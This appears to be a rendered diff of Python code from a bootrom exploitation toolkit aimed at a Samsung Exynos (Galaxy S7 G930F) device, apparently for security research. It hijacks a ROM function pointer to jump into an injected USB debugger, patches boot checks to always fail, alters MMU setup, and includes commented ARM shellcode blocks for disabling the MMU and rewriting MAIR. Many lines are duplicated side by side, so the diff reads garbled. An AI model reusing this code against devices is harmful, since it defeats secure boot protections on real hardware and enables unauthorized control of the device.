self.cd.memwrite_region(0x020200dc, p32(DEBUGGER_ADDR)) # hijack ROM_DOWNLOAD_USB for BL31 self.cd.memwrite_region(0x020200dc, p32(DEBUGGER_ADDR)) # hijack ROM_DOWNLOAD_USB for BL31
self.cd.memwrite_region(0x02021880, self.cd.arch_dbg.sc.branch_absolute(DEBUGGER_ADDR, branch_ins="br")) self.cd.memwrite_region(0x02021880, self.cd.arch_dbg.sc.branch_absolute(DEBUGGER_ADDR, branch_ins="br"))
# Jump into BL1 (sboot.bin.1.bin)
JUMP_BL1 = 0x000002c0
def jump_bl1(lr):
self.cd.arch_dbg.state.LR = lr
self.cd.restore_stack_and_jump(JUMP_BL1)
# And jump into BL1 to execute it # And jump into BL1 to execute it
jump_bl1(DEBUGGER_ADDR) jump_bl1(DEBUGGER_ADDR)
@ -685,10 +691,6 @@ class ExynosDevice():
# Assure that the debugger is still alive # Assure that the debugger is still alive
assert self.usb_read(0x200) == b"GiAs", "Failed to jump back to debugger" assert self.usb_read(0x200) == b"GiAs", "Failed to jump back to debugger"
# Functions to check ttbr0 (should be trash until after executing BL31)
# self.get_ttbr0_el3() # Should be trash, as the
# self.check_mem_write_execute(0x020c0000)
# Get current LR, and store it. Then set LR to debugger. # Get current LR, and store it. Then set LR to debugger.
lr = self.cd.arch_dbg.state.LR lr = self.cd.arch_dbg.state.LR
self.cd.arch_dbg.state.LR = DEBUGGER_ADDR self.cd.arch_dbg.state.LR = DEBUGGER_ADDR
@ -702,8 +704,8 @@ class ExynosDevice():
# Assure that the debugger is returning (obligatory assuration) # Assure that the debugger is returning (obligatory assuration)
self.usb_read(0x200) # GiAs self.usb_read(0x200) # GiAs
# lr = self.cd.arch_dbg.state.LR
# self.cd.memwrite_region(0x020200dc, p32(hijacked_fun)) # to resotre oginal boot flow, without getting back to the debugger # self.cd.memwrite_region(0x020200dc, p32(hijacked_fun)) # to restore the oginal boot flow, without getting back to the debugger
# Set LR to continue boot flow # Set LR to continue boot flow
self.cd.restore_stack_and_jump(lr) self.cd.restore_stack_and_jump(lr)
@ -713,27 +715,11 @@ class ExynosDevice():
self.usb_read(0x200) # GiAs self.usb_read(0x200) # GiAs
self.cd.memwrite_region(0x02031008, b"ELH") self.cd.memwrite_region(0x02031008, b"ELH")
# Relocate to other debugger (For after BL31, but we need a good space!)
# debugger = open("../../dump/reloc_debugger_0x2019e5c.bin", "rb").read()
# self.relocate_debugger(debugger=debugger, entry=0x14AC0000, storage=0x14AC3000, g_data_received=0x14AC4000)
# DEBUGGER_ADDR = 0x14AC0000
self.cd.arch_dbg.state.LR = DEBUGGER_ADDR self.cd.arch_dbg.state.LR = DEBUGGER_ADDR
# self.cd.memwrite_region(0x20219b8, p32(DEBUGGER_ADDR))
# self.cd.restore_stack_and_jump(hijacked_fun)
# Inspect TTBR0_EL3 table
TTBR0_EL3 = 0x02035600 # Zeroed out TTBR0_EL3 = 0x02035600 # Zeroed out
# Modifies/disables setting up MMU (but is set up eventually) -> MMU says 0x0 instead of 0x1, but still little access (and proper USB recovyer boot!?) # Modifies/disables setting up MMU (but is set up eventually) -> MMU says 0x0 instead of 0x1, but still little access (and proper USB recovyer boot!?)
self.cd.memwrite_region(0x020244e8, struct.pack('>I', 0x1f0c00f1)) # Change check to always false self.cd.memwrite_region(0x020244e8, struct.pack('>I', 0x1f0c00f1)) # Change check to always false
# self.cd.memwrite_region(0x02032008, struct.pack('>I', 0x1f2003d5)) # Overwrite MAIR to NOP
# self.cd.memwrite_region(0x0202ee74, struct.pack('>I', 0x63650094)) # Return to debugger. (not working, it continues booting..)
# self.cd.memwrite_region(0x0202eb7c, struct.pack('>I', 0x21650014)) # Change check to always false
# Jump back to debugger, after TTBR0 is no longer accessible
# self.cd.memwrite_region(0x0202f288, struct.pack('>I', 0x5e630094)) # Change check to always false
# Jump into BL31 and execute it # Jump into BL31 and execute it
self.cd.restore_stack_and_jump(0x02024010) self.cd.restore_stack_and_jump(0x02024010)
@ -746,78 +732,52 @@ class ExynosDevice():
self.cd.arch_dbg.fetch_special_regs() self.cd.arch_dbg.fetch_special_regs()
print(f'MMU is {hex(self.cd.arch_dbg.state.R_SCTLR_EL3.mmu)} (0x1=enabled, 0x0=disabled)') print(f'MMU is {hex(self.cd.arch_dbg.state.R_SCTLR_EL3.mmu)} (0x1=enabled, 0x0=disabled)')
print(f'TTBR0_EL3: {hex(self.cd.arch_dbg.state.TTBR0_EL3)}, TTBR1_EL2: {hex(self.cd.arch_dbg.state.TTBR0_EL2)}, TTBR0_EL1: {hex(self.cd.arch_dbg.state.TTBR0_EL1)}')
print(f'VBAR_EL3: {hex(self.cd.arch_dbg.state.VBAR_EL3)}, VBAR_EL2: {hex(self.cd.arch_dbg.state.VBAR_EL2)}, VBAR_EL1: {hex(self.cd.arch_dbg.state.VBAR_EL1)}')
print(f'TCR_EL3: {hex(self.cd.arch_dbg.state.TCR_EL3)}, TCR_EL2: {hex(self.cd.arch_dbg.state.TCR_EL2)}, TCR_EL1: {hex(self.cd.arch_dbg.state.TCR_EL1)}')
print(f'SCTLR_EL3: {hex(self.cd.arch_dbg.state.SCTLR_EL3)}, SCTLR_EL2: {hex(self.cd.arch_dbg.state.SCTLR_EL2)}, SCTLR_EL1: {hex(self.cd.arch_dbg.state.SCTLR_EL1)}')
print(f'MAIR_EL3: {hex(self.cd.arch_dbg.state.MAIR_EL3)}, MAIR_EL2: {hex(self.cd.arch_dbg.state.MAIR_EL2)}, MAIR_EL1: {hex(self.cd.arch_dbg.state.MAIR_EL1)}')
print(f'Current EL: {hex(self.cd.arch_dbg.state.CURRENT_EL)}')
# self.cd.arch_dbg.fetch_special_regs() # -> Does not work with original debugger (??). Only with relocated debugger. # self.cd.arch_dbg.fetch_special_regs() # -> Does not work with original debugger (?->memory overlap somewhere). Only with relocated debugger.
VBAR_EL3 = self.cd.arch_dbg.state.VBAR_EL3 VBAR_EL3 = self.cd.arch_dbg.state.VBAR_EL3
# ================= WORKS TO DISABLE DEBUGGER. BUT UNNECESSARY =================
# # Disable MMU and branch to 0x02048000
# shellcode=f"""
# mrs x0, sctlr_el3
# bic x0, x0, #1
# msr sctlr_el3, x0
# ldr x0, =0x2048000
# br x0
# """
# shellcode = ks.asm(shellcode, as_bytes=True)[0]
# self.cd.memwrite_region(0x02060000, shellcode)
# self.cd.jump_to(0x02060000)
# time.sleep(1)
# self.usb_read(0x200) # GiAs
# self.cd.arch_dbg.fetch_special_regs()
# # Print status of MMU
# print(f'MMU is {hex(self.cd.arch_dbg.state.R_SCTLR_EL3.mmu)} (0x1=enabled, 0x0=disabled)')
# =================
# # Change the values of MAIR_EL3 to a different value
# shellcode=f"""
# mov x0, #0x000000ff
# msr mair_el3, x0
# ldr x0, =0x2048000
# br x0
# """
# shellcode = ks.asm(shellcode, as_bytes=True)[0]
# self.cd.memwrite_region(0x02060000, shellcode)
# self.cd.jump_to(0x02060000)
# time.sleep(1)
# self.usb_read(0x200) # GiAs
# self.cd.arch_dbg.fetch_special_regs()
# print(self.cd.arch_dbg.state.R_MAIR_EL3)
self.test_write_execute(0x11207010) self.test_write_execute(0x11207010)
# # Relocate debugger
# debugger = open("../../dump/reloc_debugger_0x2019e5c.bin", "rb").read()
# self.relocate_debugger(debugger=debugger, entry=0x11200000, storage=0x11201200, g_data_received=0x11201400)
# DEBUGGER_ADDR = 0x11200000
# Again restore bootflow
# self.cd.memwrite_region(0x020200dc, p32(hijacked_fun))
self.cd.restore_stack_and_jump(hijacked_fun) self.cd.restore_stack_and_jump(hijacked_fun)
time.sleep(2) time.sleep(2)
# ==== Stage 4 BL2 ====
bl2 = open("../S7/g930f_latest/g930f_sboot.bin.3.bin", "rb").read()
# ==== Stage 3 BL2 ==== # Patching
stage3 = open("../S7/g930f_latest/g930f_sboot.bin.3.bin", "rb").read() # bl2 = len(bl2)
# stage3_len = len(stage3)
# patch_len = len(b"MNGS_QUAD") # patch_len = len(b"MNGS_QUAD")
# patch = b"Patch" + (b"\x00" * (patch_len - len(b"Patch"))) # patch = b"Patch" + (b"\x00" * (patch_len - len(b"Patch")))
# patch_offset = stage3.find(b"MNGS_QUAD") # patch_offset = bl2.find(b"MNGS_QUAD")
# stage3 = stage3[:patch_offset] + patch + stage3[patch_len + patch_offset:] # bl2 = bl2[:patch_offset] + patch + bl2[patch_len + patch_offset:]
# assert len(stage3) == stage3_len, "Invalid stage4 length" # assert len(stage4) == stage4_len, "Invalid bl2 length"
self.send_normal_stage(stage3) self.send_normal_stage(bl2)
time.sleep(2) time.sleep(2)
self.connect_device() self.connect_device()
self.usb_read(0x200) # GiAs self.usb_read(0x200) # GiAs
self.cd.arch_dbg.fetch_special_regs()
print(f'MMU is {hex(self.cd.arch_dbg.state.R_SCTLR_EL3.mmu)} (0x1=enabled, 0x0=disabled)')
print(f'TTBR0_EL3: {hex(self.cd.arch_dbg.state.TTBR0_EL3)}, TTBR1_EL2: {hex(self.cd.arch_dbg.state.TTBR0_EL2)}, TTBR0_EL1: {hex(self.cd.arch_dbg.state.TTBR0_EL1)}')
print(f'VBAR_EL3: {hex(self.cd.arch_dbg.state.VBAR_EL3)}, VBAR_EL2: {hex(self.cd.arch_dbg.state.VBAR_EL2)}, VBAR_EL1: {hex(self.cd.arch_dbg.state.VBAR_EL1)}')
print(f'TCR_EL3: {hex(self.cd.arch_dbg.state.TCR_EL3)}, TCR_EL2: {hex(self.cd.arch_dbg.state.TCR_EL2)}, TCR_EL1: {hex(self.cd.arch_dbg.state.TCR_EL1)}')
print(f'SCTLR_EL3: {hex(self.cd.arch_dbg.state.SCTLR_EL3)}, SCTLR_EL2: {hex(self.cd.arch_dbg.state.SCTLR_EL2)}, SCTLR_EL1: {hex(self.cd.arch_dbg.state.SCTLR_EL1)}')
print(f'MAIR_EL3: {hex(self.cd.arch_dbg.state.MAIR_EL3)}, MAIR_EL2: {hex(self.cd.arch_dbg.state.MAIR_EL2)}, MAIR_EL1: {hex(self.cd.arch_dbg.state.MAIR_EL1)}')
print(f'Current EL: {hex(self.cd.arch_dbg.state.CURRENT_EL)}')
# Restore bootflow # Restore bootflow
self.cd.memwrite_region(0x020200dc, p32(hijacked_fun)) # self.cd.memwrite_region(0x020200dc, p32(hijacked_fun))
# Restore this to
self.cd.restore_stack_and_jump(hijacked_fun) self.cd.restore_stack_and_jump(hijacked_fun)
# ==== Stage 4 ==== # ==== Stage 5 ====
stage4 = open("../S7/g930f_latest/g930f_sboot.bin.4.bin", "rb").read() stage4 = open("../S7/g930f_latest/g930f_sboot.bin.4.bin", "rb").read()
# Patching # Patching